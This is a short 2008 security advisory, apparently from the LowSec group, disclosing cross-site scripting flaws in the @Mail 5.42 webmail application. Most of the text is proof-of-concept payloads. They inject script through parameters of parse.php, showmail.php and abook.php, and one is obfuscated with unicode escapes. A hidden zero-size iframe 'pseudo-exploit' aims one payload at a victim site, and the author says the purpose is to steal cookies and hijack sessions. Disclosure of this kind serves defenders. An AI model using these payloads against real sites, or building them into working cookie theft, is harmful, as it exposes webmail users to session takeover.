atmail542-xss.txt

`#=======================================================================#  
.____ _________ ._.  
| | ______ _ __/ _____/ ____ ____| |  
| | / _ \ \/ \/ /\_____ \_/ __ \_/ ___\ |  
| |__( <_> ) / / \ ___/\ \___\|  
|_______ \____/ \/\_/ /_______ /\___ >\___ >_  
\/ \/ \/ \/\/  
(http://wwwlowsec.org)  
#========================================================================#  
#========================================================================#  
Author: C1c4Tr1Z  
Date: 30/08/08  
Application: @Mail 5.42 (28/11/2007)  
Product WebSite: http://atmail.com/  
Issues:  
[-]Cross-Site Scripting  
  
#========================================================================#  
#=============================[XSS]======================================#  
  
This application suffers from numerous Cross-Site Scripting.With some   
JavaScript knowledge, we are able to execute JS codes to stealcookies to   
use the sessions, or anothers changes/actions.  
  
POC:  
  
/parse.php?file="><img/src/onerror=alert(document.cookie)>  
/parse.php?file=html/english/help/filexp.html&FirstLoad=1&HelpFile=';}onload=function(){alert(0);foo='  
/showmail.php?Folder=Spam';document.location='\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0077\u0069\u0074\u0068\u0028\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u0029\u0061\u006C\u0065\u0072\u0074\u0028\u0063\u006F\u006F\u006B\u0069\u0065\u0029';foo='  
/abook.php?func=view&abookview=global"><img/src/onerror="alert(document.cookie)&email=138195  
/showmail.php?Folder=Inbox&sort=EmailSubject&order=desc&start="><iframe/src="javascript:alert(document.cookie)  
  
Pseudo-Exploit:  
  
<iframe src="http://www.victim.com/parse.php?file=%22%3E%3Cimg/src/onerror=alert(document.cookie)%3E" frameBorder="0" style="height:0px;width:0px;">  
  
  
#========================================================================#  
#========================================================================#  
Contact: C1c4Tr1Z <[email protected]>  
(http://wwwlowsec.org)  
LowSec! Web Application Security (Lab).  
Deus ex Machina  
#========================================================================#  
`